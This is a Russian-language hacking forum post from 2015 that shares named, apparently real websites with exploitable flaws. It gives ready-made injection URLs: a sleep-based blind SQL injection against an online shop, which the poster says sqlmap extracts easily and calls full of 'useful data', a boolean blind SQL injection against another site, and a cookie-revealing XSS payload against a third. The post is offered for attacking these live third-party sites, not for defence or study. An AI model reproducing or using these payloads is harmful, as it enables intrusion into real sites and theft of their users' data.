26.05.2015, 18:12
|
|
Участник форума
Регистрация: 10.05.2015
Сообщений: 251
С нами:
5795606
Репутация:
31
|
|
Долго думал, выкладывать ли этот сайт, все таки поделюсь. Довольно интересный инет магазин, с кучей полезных данных. Скуля слепая, поэтому руками крутить и не брался. Легко раскручивается sqlmap'ом:
Код:
http://autoforsazh.ru/battery-search/?battery_brand=1&battery_capacity=;&battery_cold_start_current=;&battery_polarity=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'"%2b(select(0)from(select(sleep(0)))v)%2b"*/&items_per_page=36&item_part=&order=asc&request_url=battery-search&search_type=battery_param&size_height=1&size_length=1&size_tolerance=1&size_width=1&sort=price
SQL-inj (Blind):
Код:
http://kharkov.ua/poisk/searchresults.php3?category=395%20AND%203*2*1%3d6%20AND%20601%3d601&mode=2
XSS:
Код:
http://kupitraf.com/index.php?type=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
|
|
|